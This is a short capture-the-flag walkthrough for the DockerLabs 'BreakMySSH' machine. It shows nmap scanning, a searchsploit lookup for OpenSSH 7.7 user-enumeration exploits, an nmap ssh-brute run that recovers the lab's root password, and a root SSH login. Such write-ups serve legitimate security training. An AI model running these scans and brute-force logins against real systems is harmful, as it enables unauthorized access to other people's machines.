BreakMySSH

#linux #muyFacil

https://dockerlabs.es/

---

sudo nmap -p- -sS --min-rate 5000 -Pn -n -vv 172.17.0.2 -oA nmap/breakmyssh

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64

nmap -p 22 -sCV 172.17.0.2 nmap/scripts

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 1a:cb:5e:a3:3d:d1:da:c0:ed:2a:61:7f:73:79:46:ce (RSA)
|   256 54:9e:53:23:57:fc:60:1e:c0:41:cb:f3:85:32:01:fc (ECDSA)
|_  256 4b:15:7e:7b:b3:07:54:3d:74:ad:e0:94:78:0c:94:93 (ED25519)

searchsploit openssh 7.7
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                               |  Path
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
OpenSSH 2.3 < 7.7 - Username Enumeration                                                                                                                                     | linux/remote/45233.py
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC)                                                                                                                               | linux/remote/45210.py
OpenSSH < 7.7 - User Enumeration (2)                                                                                                                                         | linux/remote/45939.py
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

nmap -p 22 --script \*ssh\* 172.17.0.2 nmap/scripts

PORT   STATE SERVICE
22/tcp open  ssh
|_ssh-run: Failed to specify credentials and command to run.
| ssh-hostkey: 
|   2048 1a:cb:5e:a3:3d:d1:da:c0:ed:2a:61:7f:73:79:46:ce (RSA)
|_  256 54:9e:53:23:57:fc:60:1e:c0:41:cb:f3:85:32:01:fc (ECDSA)
| ssh-auth-methods: 
|   Supported authentication methods: 
|     publickey
|     password
|_    keyboard-interactive
| ssh2-enum-algos: 
|   kex_algorithms: (10)
|       curve25519-sha256
|       [e-mail]
|       ecdh-sha2-nistp256
|       ecdh-sha2-nistp384
|       ecdh-sha2-nistp521
|       diffie-hellman-group-exchange-sha256
|       diffie-hellman-group16-sha512
|       diffie-hellman-group18-sha512
|       diffie-hellman-group14-sha256
|       diffie-hellman-group14-sha1
|   server_host_key_algorithms: (5)
|       ssh-rsa
|       rsa-sha2-512
|       rsa-sha2-256
|       ecdsa-sha2-nistp256
|       ssh-ed25519
|   encryption_algorithms: (6)
|       [e-mail]
|       aes128-ctr
|       aes192-ctr
|       aes256-ctr
|       [e-mail]
|       [e-mail]
|   mac_algorithms: (10)
|       [e-mail]
|       [e-mail]
|       [e-mail]
|       [e-mail]
|       [e-mail]
|       [e-mail]
|       [e-mail]
|       hmac-sha2-256
|       hmac-sha2-512
|       hmac-sha1
|   compression_algorithms: (2)
|       none
|_      [e-mail]
| ssh-publickey-acceptance: 
|_  Accepted Public Keys: No public keys accepted
| ssh-brute: 
|   Accounts: 
|     root:estrella - Valid credentials
|_  Statistics: Performed 45116 guesses in 305 seconds, average tps: 147.9

ssh root@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is: SHA256:U6y+etRI+fVmMxDTwFTSDrZCoIl2xG/Ur/6R0cQMamQ
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
root@172.17.0.2's password: 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@679cd2b45b02:~# id
uid=0(root) gid=0(root) groups=0(root)